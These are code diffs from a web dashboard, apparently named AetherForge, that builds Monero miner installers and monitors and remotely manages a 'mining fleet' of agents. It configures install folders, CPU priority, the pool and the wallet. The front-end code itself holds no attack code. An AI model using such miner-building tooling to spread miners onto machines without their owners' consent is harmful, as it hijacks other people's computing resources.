<span className="preflight-icon">{c.level === 'ok' ? '✓' : c.level === 'warn' ? '!' : '✕'}</span>
{c.message}
</li>
))}
</ul>
</div>
{error && (
<div className="form-error">
<span></span> {error}
</div>
)}
<button type="submit" className="btn btn-success build-btn" disabled={building}>
{building ? 'Building...' : 'Build Installer .exe'}
<button type="submit" className="btn btn-success build-btn forge-submit-btn" disabled={building || !canForge}>
{building ? 'Forging...' : canForge ? '⚒ FORGE INSTALLER' : `⚒ FIX ${errorCount} ERROR${errorCount === 1 ? '' : 'S'} TO FORGE`}
</button>
{!canForge && errorCount > 0 && (
<p className="forge-forge-blocked">
Forge is blocked until all preflight errors () are resolved. Warnings (!) still allow forging.
</p>
)}
</form>
</div>
@@ -572,6 +962,15 @@ export default function BuilderPage() {
Download .exe
</a>
)}
{lastBuild.uninstall_download_url && (
<>
<p><strong>Uninstaller:</strong> {lastBuild.uninstall_file_name}</p>
<code className="path-display">{lastBuild.uninstall_path}</code>
<a className="btn btn-outline" href={lastBuild.uninstall_download_url} download>
Download uninstall script
</a>
</>
)}
</div>
</div>
)}
@@ -579,29 +978,48 @@ export default function BuilderPage() {
{showRecent && (
<div className="card recent-builds">
<div className="recent-header">
<h2>Recent Builds</h2>
<h2>Build Manager</h2>
<button className="btn btn-outline" onClick={() => setShowRecent(false)}>Close</button>
</div>
<p className="form-hint">Blueprint diff, one-click re-forge, LAN QR download for each forged build.</p>
{blueprintDiffRows.length > 0 && (
<NeonCard accent="purple" className="section">
<h3>Blueprint Diff vs current form</h3>
<ul className="blueprint-diff">
{blueprintDiffRows.map((d) => (
<li key={d.key} className={d.kind}>
<strong>{d.key}</strong>: {d.kind}
{d.kind === 'changed' && ` (${JSON.stringify(d.from)}${JSON.stringify(d.to)})`}
</li>
))}
</ul>
</NeonCard>
)}
{recentBuilds.length === 0 ? (
<p className="empty-text">No builds yet</p>
) : (
<div className="builds-list">
{recentBuilds.map((build) => (
<div key={build.id} className="build-item">
<div className="build-item-name">{build.worker_name}</div>
<div className="build-item-details">
<span>{build.threads} threads</span>
<span>{(build.file_size / 1024 / 1024).toFixed(1)} MB</span>
<span>{new Date(build.created_at).toLocaleString()}</span>
<div className="build-manager-grid">
{recentBuilds.map((build) => {
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
return (
<div key={build.id} className="build-manager-row">
<div>
<div className="build-item-name">{build.worker_name}</div>
<div className="build-item-details">
<span>{build.threads} threads</span>
<span>{(build.file_size / 1024 / 1024).toFixed(1)} MB</span>
<span>{new Date(build.created_at).toLocaleString()}</span>
</div>
</div>
<LanDownloadQR url={downloadUrl} />
<a className="btn btn-outline" href={api.buildDownloadUrl(build.id)}>Download</a>
<a className="btn btn-outline" href={api.buildUninstallUrl(build.id)}>Uninstall script</a>
<button type="button" className="btn btn-primary" disabled={building} onClick={() => reForgeFromBuild(build)}>
Re-forge
</button>
</div>
{build.file_path && (
<code className="path-display small">{build.file_path}</code>
)}
<a className="btn btn-outline" href={`/api/v1/builds/${build.id}/download`}>
Download
</a>
</div>
))}
);
})}
</div>
)}
</div>

View File

@@ -1,23 +1,58 @@
import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client';
import { useState, useEffect, useMemo, type CSSProperties } from 'react';
import { Link } from 'react-router-dom';
import type { Share } from '../types';
import HashrateChart from '../components/Charts/HashrateChart';
import GaugeRing from '../components/Charts/GaugeRing';
import NeonCard from '../components/NeonCard/NeonCard';
import { FleetPipelineStatus, ActivityPulse } from '../components/Visual/VisualComponents';
import { AlertBanner, PoolStatusPanel, AIActivityPanel, EarningsEstimator } from '../components/Fleet/FleetPanels';
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
import '../components/Fleet/AgentRemoteActions.css';
import './Pages.css';
export default function DashboardPage() {
const { isConnected, agents } = useWebSocket();
const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity } = useWebSocket();
const [shares, setShares] = useState<Share[]>([]);
const [restAlerts, setRestAlerts] = useState<typeof fleetAlerts>([]);
const [restPools, setRestPools] = useState<typeof poolStatus>([]);
const [restAI, setRestAI] = useState<typeof aiActivity>([]);
const [subtitle, setSubtitle] = useState('security is just an emotion');
const [hashHistory, setHashHistory] = useState<{ time: string; value: number }[]>([]);
const [cpuHistory, setCpuHistory] = useState<{ time: string; value: number }[]>([]);
const [memHistory, setMemHistory] = useState<{ time: string; value: number }[]>([]);
const [hasBuilds, setHasBuilds] = useState(false);
useEffect(() => {
api.getRecentShares(20).then(setShares).catch(console.error);
api.listBuilds().then((b) => setHasBuilds(b.length > 0)).catch(console.error);
api.getConfig()
.then((cfg) => {
const s = cfg.server?.dashboard_subtitle?.trim();
if (s) setSubtitle(s);
})
.catch(console.error);
api.getAlerts().then(setRestAlerts).catch(console.error);
api.getPoolStatus().then(setRestPools).catch(console.error);
api.getAIActivity().then(setRestAI).catch(console.error);
}, []);
useEffect(() => {
if (recentShares.length > 0) {
setShares((prev) => {
const merged = [...recentShares, ...prev];
const seen = new Set<string>();
return merged.filter((s) => {
const key = s.id != null ? String(s.id) : `${s.agent_id}-${s.hash}-${s.timestamp}`;
if (seen.has(key)) return false;
seen.add(key);
return true;
}).slice(0, 20);
});
}
}, [recentShares]);
const totalHashrate = agents.reduce((sum, a) => sum + a.hashrate_15m, 0);
const onlineCount = agents.filter((a) => a.status === 'online').length;
const totalShares = agents.reduce((sum, a) => sum + a.shares_total, 0);
@@ -42,14 +77,35 @@ export default function DashboardPage() {
const maxAgentHash = Math.max(...topAgents.map((a) => a.hashrate_15m), 1);
const activityItems = useMemo(
() =>
shares.slice(0, 12).map((s) => ({
id: String(s.id ?? `${s.agent_id}-${s.hash}`),
label: s.accepted ? 'OK' : 'BAD',
ok: s.accepted,
time: s.timestamp ? new Date(s.timestamp).toLocaleTimeString() : undefined,
})),
[shares]
);
const totalShareCount = agents.reduce((sum, a) => sum + a.shares_total, 0);
const alerts = fleetAlerts.length > 0 ? fleetAlerts : restAlerts;
const pools = poolStatus.length > 0 ? poolStatus : restPools;
const aiEntries = aiActivity.length > 0 ? aiActivity : restAI;
const agentNameMap = useMemo(
() => Object.fromEntries(agents.map((a) => [a.id, a.name])),
[agents]
);
return (
<div className="page fade-in command-deck">
<AlertBanner alerts={alerts} />
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">PERSONAL NETWORK · LIVE TELEMETRY</p>
<h1>Command Deck</h1>
<p className="page-subtitle">
Your private mining fleet across the LAN brass gauges, neon pulse, real-time hashrate.
{subtitle}
</p>
</div>
<div className="deck-hero-status">
@@ -64,6 +120,23 @@ export default function DashboardPage() {
</div>
</header>
<NeonCard accent="green" className="section" hud>
<h2 className="section-title font-display" style={{ marginBottom: '0.25rem' }}>
<span className="section-ornament"></span> Fleet Pipeline
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginTop: 0 }}>
Visual progress lit nodes mean that stage is active. <Link to="/guide">Open Field Guide </Link>
</p>
<FleetPipelineStatus
hasBuilds={hasBuilds}
agentCount={agents.length}
onlineCount={onlineCount}
hasHashrate={totalHashrate > 0}
hasShares={totalShareCount > 0}
/>
</NeonCard>
<section className="gauge-row">
<NeonCard accent="cyan" className="gauge-card" hud>
<GaugeRing
@@ -92,6 +165,7 @@ export default function DashboardPage() {
<div className="stat-value hashrate neon-glow-cyan">{formatHashrate(totalHashrate)}</div>
<div className="stat-sub">{onlineCount} engines firing</div>
</NeonCard>
<EarningsEstimator hashrate={totalHashrate} />
<NeonCard accent="green" className="stat-card-wrap">
<div className="stat-label font-tech">Fleet Online</div>
<div className="stat-value accepted">{onlineCount} <span className="stat-dim">/ {agents.length}</span></div>
@@ -109,6 +183,10 @@ export default function DashboardPage() {
</NeonCard>
</div>
<PoolStatusPanel pools={pools} />
<AIActivityPanel entries={aiEntries} agentNames={agentNameMap} />
<div className="grid-2 chart-row">
<NeonCard accent="cyan" tilt3d>
<HashrateChart data={hashHistory} title="Fleet Hashrate Wave" color="#00f5ff" unit="H/s" height={300} />
@@ -122,6 +200,14 @@ export default function DashboardPage() {
<HashrateChart data={memHistory} title="Memory Load — Fleet Average" color="#ffb020" unit="%" height={220} />
</NeonCard>
<NeonCard accent="purple" className="section" hud>
<h2 className="section-title font-display">
<span className="section-ornament"></span> Share Activity Pulse
<span className="section-line" />
</h2>
<ActivityPulse items={activityItems} />
</NeonCard>
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Machine Roster
@@ -164,6 +250,7 @@ export default function DashboardPage() {
<div><span>Node</span><strong className="mono-sm">{agent.ip || '—'} · {agent.id.slice(0, 8)}</strong></div>
<div><span>Uptime</span><strong>{formatUptime(agent.uptime_seconds)}</strong></div>
</div>
<AgentRemoteActions agent={agent} compact />
</NeonCard>
))}
</div>

View File

@@ -0,0 +1,130 @@
import { Link } from 'react-router-dom';
import NeonCard from '../components/NeonCard/NeonCard';
import {
CHEAT_SECTIONS,
PIPELINE_STEPS,
TROUBLESHOOTING,
} from '../help/cheatSheetContent';
import {
ForgeCalibrateCompare,
PipelineFlow,
RoadmapGrid,
} from '../components/Visual/VisualComponents';
import './Pages.css';
export default function GuidePage() {
return (
<div className="page fade-in command-deck">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">OPERATIONS MANUAL</p>
<h1>Field Guide</h1>
<p className="page-subtitle">
Visual cheat sheet what each page does, how the pipeline works, and what to fix when things break.
</p>
</div>
</header>
<NeonCard accent="cyan" className="section" hud>
<h2 className="section-title font-display">
<span className="section-ornament"></span> Live pipeline
<span className="section-line" />
</h2>
<PipelineFlow />
</NeonCard>
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Forge vs Calibrate
<span className="section-line" />
</h2>
<ForgeCalibrateCompare />
</section>
{CHEAT_SECTIONS.filter((s) => s.steps && s.id !== 'pipeline').map((section) => (
<section key={section.id} className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> {section.title}
<span className="section-line" />
</h2>
<p className="form-hint">{section.description}</p>
{section.steps?.map((step) => (
<div key={step.id} className="guide-step-card">
<div className="guide-step-num">{step.icon}</div>
<div className="guide-step-body">
<h4>{step.title} {step.subtitle}</h4>
<p>{step.body}</p>
{step.tips && (
<ul className="guide-tips">
{step.tips.map((t) => (
<li key={t}>{t}</li>
))}
</ul>
)}
</div>
{step.route && (
<Link to={step.route} className="btn btn-outline btn-sm">
{step.routeLabel || 'Open'}
</Link>
)}
</div>
))}
</section>
))}
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Step-by-step (detailed)
<span className="section-line" />
</h2>
{PIPELINE_STEPS.map((step) => (
<div key={step.id} className="guide-step-card">
<div className="guide-step-num">{step.icon}</div>
<div className="guide-step-body">
<h4>{step.title} {step.subtitle}</h4>
<p>{step.body}</p>
{step.tips && (
<ul className="guide-tips">
{step.tips.map((t) => (
<li key={t}>{t}</li>
))}
</ul>
)}
</div>
{step.route && (
<Link to={step.route} className="btn btn-primary btn-sm">
{step.routeLabel}
</Link>
)}
</div>
))}
</section>
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Troubleshooting
<span className="section-line" />
</h2>
<NeonCard accent="amber">
{TROUBLESHOOTING.map((t) => (
<div key={t.problem} className="trouble-card">
<strong>{t.problem}</strong>
<span>{t.fix}</span>
</div>
))}
</NeonCard>
</section>
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Product roadmap
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginBottom: '1rem' }}>
Shipped capabilities (high/medium) and remaining low-priority ideas.
</p>
<RoadmapGrid />
</section>
</div>
);
}

View File

@@ -659,6 +659,121 @@
grid-template-columns: 320px 1fr;
}
.preflight-panel {
margin-top: 1.5rem;
padding: 1rem 1.25rem;
border: 1px solid var(--border-dim);
}
.preflight-panel h3 {
margin: 0 0 0.75rem;
font-size: 0.85rem;
letter-spacing: 0.12em;
color: var(--neon-amber);
}
.preflight-list {
list-style: none;
margin: 0;
padding: 0;
display: flex;
flex-direction: column;
gap: 0.45rem;
}
.preflight-item {
display: flex;
align-items: flex-start;
gap: 0.5rem;
font-size: 0.9rem;
line-height: 1.35;
}
.preflight-icon {
flex-shrink: 0;
width: 1.25rem;
font-weight: 700;
}
.preflight-ok { color: var(--neon-green); }
.preflight-warn { color: var(--neon-amber); }
.preflight-error { color: var(--accent-red, #f87171); }
.forge-submit-btn {
width: 100%;
margin-top: 1rem;
padding: 0.9rem 1.5rem;
font-size: 1rem;
letter-spacing: 0.08em;
}
.endpoint-group {
padding: 0.75rem 0;
}
.endpoint-header {
display: flex;
align-items: center;
justify-content: space-between;
gap: 0.75rem;
flex-wrap: wrap;
margin-bottom: 0.35rem;
}
.endpoint-input {
font-size: 0.95rem;
}
.endpoint-hint {
margin-top: 0.5rem;
}
.endpoint-picks {
margin-top: 0.75rem;
}
.endpoint-picks-label {
display: block;
font-size: 0.7rem;
letter-spacing: 0.1em;
color: var(--text-muted);
margin-bottom: 0.4rem;
}
.endpoint-chips {
display: flex;
flex-wrap: wrap;
gap: 0.4rem;
}
.endpoint-chip {
font-family: var(--font-mono, monospace);
font-size: 0.75rem;
padding: 0.35rem 0.6rem;
border-radius: 4px;
border: 1px solid var(--border-dim);
background: rgba(0, 0, 0, 0.25);
color: var(--neon-cyan);
cursor: pointer;
transition: border-color 0.15s, background 0.15s;
}
.endpoint-chip:hover {
border-color: var(--neon-cyan);
background: rgba(0, 212, 255, 0.08);
}
.endpoint-chip.active {
border-color: var(--neon-amber);
color: var(--neon-amber);
background: rgba(255, 193, 7, 0.1);
}
.btn-sm {
padding: 0.25rem 0.6rem;
font-size: 0.75rem;
}
@media (max-width: 1100px) {
.builder-layout-wide {
grid-template-columns: 1fr;
@@ -973,3 +1088,136 @@
grid-template-columns: 1fr;
}
}
/* ── Forge guardrails ── */
.forge-rules-banner {
margin-bottom: 1rem;
padding: 1rem 1.25rem;
border: 1px solid rgba(212, 168, 75, 0.35);
border-radius: 8px;
background: rgba(212, 168, 75, 0.06);
}
.forge-rules-banner h3 {
margin: 0 0 0.5rem;
font-size: 0.95rem;
}
.forge-rules-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(220px, 1fr));
gap: 0.75rem;
margin-top: 0.75rem;
}
.forge-rule-card {
padding: 0.65rem 0.85rem;
border-radius: 6px;
background: rgba(0, 0, 0, 0.25);
border: 1px solid rgba(255, 255, 255, 0.06);
font-size: 0.8rem;
line-height: 1.4;
}
.forge-rule-card strong {
display: block;
margin-bottom: 0.25rem;
color: var(--neon-amber);
}
.forge-live-notices {
margin-bottom: 1rem;
padding: 0.75rem 1rem;
border-left: 3px solid var(--neon-amber);
background: rgba(251, 191, 36, 0.08);
border-radius: 0 6px 6px 0;
}
.forge-live-notices ul {
margin: 0.35rem 0 0;
padding-left: 1.2rem;
font-size: 0.85rem;
}
.forge-section-header {
margin-bottom: 1rem;
}
.forge-section-title-row {
display: flex;
align-items: center;
gap: 0.65rem;
flex-wrap: wrap;
}
.forge-section-title-row h3 {
margin: 0;
}
.forge-section-desc {
margin: 0.35rem 0 0;
}
.forge-field-badge {
display: inline-block;
font-size: 0.65rem;
font-family: var(--font-tech, monospace);
text-transform: uppercase;
letter-spacing: 0.04em;
padding: 0.15rem 0.45rem;
border-radius: 4px;
vertical-align: middle;
white-space: nowrap;
}
.forge-badge-baked {
color: #86efac;
border: 1px solid rgba(134, 239, 172, 0.35);
background: rgba(34, 197, 94, 0.1);
}
.forge-badge-server-only {
color: #93c5fd;
border: 1px solid rgba(147, 197, 253, 0.35);
background: rgba(59, 130, 246, 0.1);
}
.forge-badge-requires {
color: #fcd34d;
border: 1px solid rgba(252, 211, 77, 0.35);
background: rgba(251, 191, 36, 0.08);
}
.forge-locked-hint {
margin: 0.35rem 0 0;
font-size: 0.78rem;
color: var(--neon-amber);
line-height: 1.35;
}
.form-group.field-disabled label {
opacity: 0.65;
}
.form-group.field-disabled .input,
.form-group.field-disabled .select {
opacity: 0.55;
cursor: not-allowed;
}
.label-row {
display: flex;
align-items: center;
gap: 0.5rem;
flex-wrap: wrap;
}
.forge-forge-blocked {
margin-top: 0.75rem;
padding: 0.65rem 0.85rem;
font-size: 0.85rem;
color: var(--accent-red, #f87171);
border: 1px solid rgba(248, 113, 113, 0.35);
border-radius: 6px;
background: rgba(248, 113, 113, 0.08);
}

View File

@@ -1,30 +1,55 @@
import { useState, useEffect } from 'react';
import { useState, useEffect, useRef } from 'react';
import { api } from '../api/client';
import type { ServerConfig } from '../types';
import { HelpTip } from '../components/HelpTip';
import { HelpTip, FieldHint } from '../components/HelpTip';
import NeonCard from '../components/NeonCard/NeonCard';
import './Pages.css';
export default function SettingsPage() {
const [config, setConfig] = useState<ServerConfig | null>(null);
const [serverInfo, setServerInfo] = useState<{ suggested_url: string; local_ips: string[] } | null>(null);
const [loading, setLoading] = useState(true);
const [saving, setSaving] = useState(false);
const [saveMessage, setSaveMessage] = useState('');
const fileInputRef = useRef<HTMLInputElement>(null);
useEffect(() => {
api.getConfig()
.then(setConfig)
Promise.all([api.getConfig(), api.getServerInfo()])
.then(([cfg, info]) => {
setConfig({
...cfg,
server: {
public_url: cfg.server?.public_url ?? '',
stats_retention_hours: cfg.server?.stats_retention_hours ?? 168,
build_retention_days: cfg.server?.build_retention_days ?? 30,
pool_reconnect_seconds: cfg.server?.pool_reconnect_seconds ?? 30,
websocket_ping_seconds: cfg.server?.websocket_ping_seconds ?? 30,
max_agents: cfg.server?.max_agents ?? 256,
max_build_size_mb: cfg.server?.max_build_size_mb ?? 150,
log_agent_connections: cfg.server?.log_agent_connections ?? true,
log_share_submissions: cfg.server?.log_share_submissions ?? false,
log_pool_traffic: cfg.server?.log_pool_traffic ?? false,
strict_wallet_validation: cfg.server?.strict_wallet_validation ?? false,
dashboard_subtitle: cfg.server?.dashboard_subtitle ?? 'security is just an emotion',
},
});
setServerInfo(info);
})
.catch(console.error)
.finally(() => setLoading(false));
}, []);
const updateField = (path: string, value: any) => {
const updateField = (path: string, value: unknown) => {
if (!config) return;
const newConfig = { ...config };
const keys = path.split('.');
let obj: any = newConfig;
let obj: Record<string, unknown> = newConfig as unknown as Record<string, unknown>;
for (let i = 0; i < keys.length - 1; i++) {
obj = obj[keys[i]];
const key = keys[i];
if (!obj[key] || typeof obj[key] !== 'object') {
obj[key] = {};
}
obj = obj[key] as Record<string, unknown>;
}
obj[keys[keys.length - 1]] = value;
setConfig(newConfig);
@@ -37,463 +62,350 @@ export default function SettingsPage() {
try {
const updated = await api.updateConfig(config);
setConfig(updated);
setSaveMessage('✅ Settings saved successfully');
setTimeout(() => setSaveMessage(''), 3000);
} catch (err: any) {
setSaveMessage(`❌ Failed to save: ${err.message}`);
setSaveMessage('Calibration saved — control server updated.');
setTimeout(() => setSaveMessage(''), 4000);
} catch (err: unknown) {
setSaveMessage(`Save failed: ${err instanceof Error ? err.message : 'unknown error'}`);
} finally {
setSaving(false);
}
};
const handleExportConfig = () => {
if (!config) return;
const blob = new Blob([JSON.stringify(config, null, 2)], { type: 'application/json' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = 'aetherforge-server-config.json';
a.click();
URL.revokeObjectURL(url);
};
const handleImportConfig = () => fileInputRef.current?.click();
const handleFileSelected = (e: React.ChangeEvent<HTMLInputElement>) => {
const file = e.target.files?.[0];
if (!file) return;
const reader = new FileReader();
reader.onload = (evt) => {
try {
const data = JSON.parse(evt.target?.result as string);
setConfig((prev) => (prev ? { ...prev, ...data } : prev));
setSaveMessage(`Loaded "${file.name}" — click Save Calibration to apply.`);
} catch {
setSaveMessage('Invalid JSON file.');
}
};
reader.readAsText(file);
e.target.value = '';
};
if (loading) {
return (
<div className="page fade-in command-deck">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">CALIBRATION</p>
<h1>System Calibrate</h1>
<p className="deck-eyebrow font-tech">SERVER ONLY</p>
<h1>Calibrate</h1>
</div>
</header>
<NeonCard accent="brass"><p>Loading settings...</p></NeonCard>
<NeonCard accent="brass"><p>Loading server calibration...</p></NeonCard>
</div>
);
}
if (!config) {
return (
<div className="page fade-in">
<div className="page-header"><h1>Settings</h1></div>
<div className="card"><p>Failed to load settings</p></div>
<div className="page fade-in command-deck">
<NeonCard accent="brass"><p>Failed to load server configuration.</p></NeonCard>
</div>
);
}
const s = config.server || {
public_url: '',
stats_retention_hours: 168,
build_retention_days: 30,
pool_reconnect_seconds: 30,
websocket_ping_seconds: 30,
max_agents: 256,
max_build_size_mb: 150,
log_agent_connections: true,
log_share_submissions: false,
log_pool_traffic: false,
strict_wallet_validation: false,
dashboard_subtitle: '',
};
return (
<div className="page fade-in command-deck">
<input type="file" ref={fileInputRef} style={{ display: 'none' }} accept=".json" onChange={handleFileSelected} />
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">CALIBRATION</p>
<h1>System Calibrate</h1>
<p className="page-subtitle">Pool, wallet, defaults, and install paths for the forge.</p>
<p className="deck-eyebrow font-tech">CONTROL SERVER · LOCAL HOST</p>
<h1>Calibrate</h1>
<p className="page-subtitle">
Settings for this machine only the dashboard, pool relay, and LAN address. Miner installers are built in the Forge tab.
</p>
</div>
<div className="deck-hero-actions">
<button className="btn btn-primary" onClick={handleSave} disabled={saving}>
{saving ? 'Saving...' : 'Save Calibration'}
</button>
<button className="btn btn-outline" onClick={handleExportConfig}>Export</button>
<button className="btn btn-outline" onClick={handleImportConfig}>Import</button>
</div>
<button className="btn btn-primary" onClick={handleSave} disabled={saving}>
{saving ? 'Saving...' : 'Save Settings'}
</button>
</header>
{saveMessage && (
<div className={`save-message ${saveMessage.includes('') ? 'success' : 'error'}`}>
{saveMessage}
</div>
<div className={`save-message ${saveMessage.includes('failed') ? 'error' : 'success'}`}>{saveMessage}</div>
)}
{serverInfo && (
<NeonCard accent="cyan" className="calibrate-banner" hud>
<p className="font-tech">DETECTED LAN ENDPOINTS</p>
<p><strong>Suggested:</strong> <code className="mono-sm">{serverInfo.suggested_url}</code></p>
{serverInfo.local_ips?.length > 0 && (
<p className="form-hint">IPs on this host: {serverInfo.local_ips.join(' · ')}</p>
)}
<p className="form-hint">Set Public URL below if you want the Forge to default to a specific address.</p>
</NeonCard>
)}
<div className="settings-grid">
{/* Pool Configuration */}
<div className="card settings-section">
<h2>Pool Connection</h2>
<p className="section-desc">Configure which Monero pool your miners connect to.</p>
<NeonCard accent="brass" className="settings-section">
<h2 className="font-display">Control Server</h2>
<p className="section-desc">How this dashboard and API are hosted on your network.</p>
<div className="form-row">
<div className="form-group">
<label className="label">Listen Port</label>
<input type="number" className="input" min={1024} max={65535} value={config.port}
onChange={(e) => updateField('port', parseInt(e.target.value) || 8989)} />
<span className="form-hint">Restart server after changing port.</span>
</div>
<div className="form-group">
<label className="label">Data Directory</label>
<input type="text" className="input mono" value={config.data_dir}
onChange={(e) => updateField('data_dir', e.target.value)} />
</div>
</div>
<div className="form-group">
<label className="label">Public URL (LAN) <HelpTip field="public_url" /></label>
<input type="text" className="input mono" placeholder={serverInfo?.suggested_url || 'http://192.168.1.x:8989'}
value={s.public_url}
onChange={(e) => updateField('server.public_url', e.target.value)} />
<FieldHint field="public_url" />
</div>
<div className="form-group">
<label className="label">Dashboard Subtitle</label>
<input type="text" className="input" value={s.dashboard_subtitle}
onChange={(e) => updateField('server.dashboard_subtitle', e.target.value)} />
</div>
</NeonCard>
<NeonCard accent="cyan" className="settings-section">
<h2 className="font-display">Upstream Pool</h2>
<p className="section-desc">The control server connects here and relays work to your fleet (not per-miner in this tab).</p>
<div className="form-group">
<label className="label">Pool Host <HelpTip field="pool_host" /></label>
<input
type="text"
className="input"
value={config.pool.host}
onChange={(e) => updateField('pool.host', e.target.value)}
placeholder="pool.supportxmr.com"
/>
<input type="text" className="input" value={config.pool.host}
onChange={(e) => updateField('pool.host', e.target.value)} />
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Port <HelpTip field="pool_port" /></label>
<input
type="number"
className="input"
value={config.pool.port}
onChange={(e) => updateField('pool.port', parseInt(e.target.value) || 3333)}
/>
<label className="label">Port</label>
<input type="number" className="input" value={config.pool.port}
onChange={(e) => updateField('pool.port', parseInt(e.target.value) || 3333)} />
</div>
<div className="form-group checkbox-group">
<div className="form-group checkbox-group" style={{ alignSelf: 'flex-end' }}>
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={config.pool.use_tls}
onChange={(e) => updateField('pool.use_tls', e.target.checked)}
/>
<span>Use TLS/SSL</span>
<input type="checkbox" className="checkbox" checked={config.pool.use_tls}
onChange={(e) => updateField('pool.use_tls', e.target.checked)} />
<span>Use TLS</span>
</label>
</div>
</div>
<div className="form-group">
<label className="label">Password (optional)</label>
<input
type="text"
className="input"
value={config.pool.password}
onChange={(e) => updateField('pool.password', e.target.value)}
placeholder="x"
/>
<label className="label">Pool Password</label>
<input type="text" className="input" value={config.pool.password}
onChange={(e) => updateField('pool.password', e.target.value)} />
</div>
</div>
{/* Wallet Configuration */}
<div className="card settings-section">
<h2>Wallet</h2>
<p className="section-desc">Default wallet address for new miners.</p>
<div className="form-group">
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
<input
type="text"
className="input mono"
value={config.wallet.address}
onChange={(e) => updateField('wallet.address', e.target.value)}
placeholder="4..."
/>
<label className="label">Pool Reconnect Interval (sec)</label>
<input type="number" className="input" min={5} value={s.pool_reconnect_seconds}
onChange={(e) => updateField('server.pool_reconnect_seconds', parseInt(e.target.value) || 30)} />
</div>
</NeonCard>
<NeonCard accent="purple" className="settings-section">
<h2 className="font-display">Fleet Payout Wallet</h2>
<p className="section-desc">Default wallet the server uses when connecting to the pool. The Forge pre-fills this when building miners.</p>
<div className="form-group">
<label className="label">XMR Address <HelpTip field="wallet" /></label>
<input type="text" className="input mono" value={config.wallet.address}
onChange={(e) => updateField('wallet.address', e.target.value)} />
</div>
<div className="form-group">
<label className="label">Payment ID (optional)</label>
<input
type="text"
className="input mono"
value={config.wallet.payment_id}
onChange={(e) => updateField('wallet.payment_id', e.target.value)}
/>
<input type="text" className="input mono" value={config.wallet.payment_id}
onChange={(e) => updateField('wallet.payment_id', e.target.value)} />
</div>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={s.strict_wallet_validation}
onChange={(e) => updateField('server.strict_wallet_validation', e.target.checked)} />
<span>Strict wallet validation on build API</span>
</label>
</div>
</NeonCard>
{/* Default Agent Config */}
<div className="card settings-section">
<h2>Default Agent Configuration</h2>
<p className="section-desc">Default settings applied to newly built miners.</p>
<div className="form-row">
<div className="form-group">
<label className="label">Thread Mode <HelpTip field="thread_mode" /></label>
<select
className="select"
value={config.default_agent_config.thread_mode || 'percent'}
onChange={(e) => updateField('default_agent_config.thread_mode', e.target.value)}
>
<option value="percent">Auto (% of cores)</option>
<option value="fixed">Fixed count</option>
</select>
</div>
{config.default_agent_config.thread_mode === 'fixed' ? (
<div className="form-group">
<label className="label">Threads <HelpTip field="threads" /></label>
<input
type="number"
className="input"
min={1}
max={128}
value={config.default_agent_config.threads}
onChange={(e) => updateField('default_agent_config.threads', parseInt(e.target.value) || 1)}
/>
</div>
) : (
<div className="form-group">
<label className="label">Thread Percent <HelpTip field="thread_percent" /></label>
<input
type="number"
className="input"
min={10}
max={100}
value={config.default_agent_config.thread_percent ?? 75}
onChange={(e) => updateField('default_agent_config.thread_percent', parseInt(e.target.value) || 75)}
/>
</div>
)}
</div>
<div className="form-row">
<div className="form-group">
<label className="label">CPU Priority <HelpTip field="cpu_priority" /></label>
<select
className="select"
value={config.default_agent_config.cpu_priority}
onChange={(e) => updateField('default_agent_config.cpu_priority', e.target.value)}
>
<option value="idle">Idle</option>
<option value="below_normal">Below Normal</option>
<option value="normal">Normal</option>
<option value="above_normal">Above Normal</option>
<option value="high">High</option>
</select>
</div>
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Max CPU Usage (%) <HelpTip field="max_cpu_usage_pct" /></label>
<input
type="number"
className="input"
min={1}
max={100}
value={config.default_agent_config.max_cpu_usage_pct}
onChange={(e) => updateField('default_agent_config.max_cpu_usage_pct', parseInt(e.target.value) || 80)}
/>
</div>
<div className="form-group">
<label className="label">Max Memory (%) <HelpTip field="max_memory_percent" /></label>
<input
type="number"
className="input"
min={10}
max={95}
value={config.default_agent_config.max_memory_percent ?? 70}
onChange={(e) => updateField('default_agent_config.max_memory_percent', parseInt(e.target.value) || 70)}
/>
</div>
<div className="form-group">
<label className="label">Min Free RAM (MB) <HelpTip field="min_free_ram_mb" /></label>
<input
type="number"
className="input"
min={256}
value={config.default_agent_config.min_free_ram_mb}
onChange={(e) => updateField('default_agent_config.min_free_ram_mb', parseInt(e.target.value) || 1024)}
/>
</div>
</div>
<div className="form-section">
<h3>Install Location Defaults</h3>
<p className="section-desc">Where built installers embed the miner on first run.</p>
<div className="form-group">
<label className="label">Install Base Folder <HelpTip field="install_base" /></label>
<select
className="select"
value={config.default_agent_config.install_base || 'localappdata'}
onChange={(e) => updateField('default_agent_config.install_base', e.target.value)}
>
<option value="localappdata">Local App Data (%LOCALAPPDATA%)</option>
<option value="appdata">Roaming App Data (%APPDATA%)</option>
<option value="programdata">Program Data (%ProgramData%)</option>
<option value="userprofile">User Profile (%USERPROFILE%)</option>
<option value="temp">Temp Folder (%TEMP%)</option>
<option value="custom">Custom Path</option>
</select>
</div>
{config.default_agent_config.install_base === 'custom' && (
<div className="form-group">
<label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label>
<input
type="text"
className="input mono"
value={config.default_agent_config.install_custom_base || ''}
onChange={(e) => updateField('default_agent_config.install_custom_base', e.target.value)}
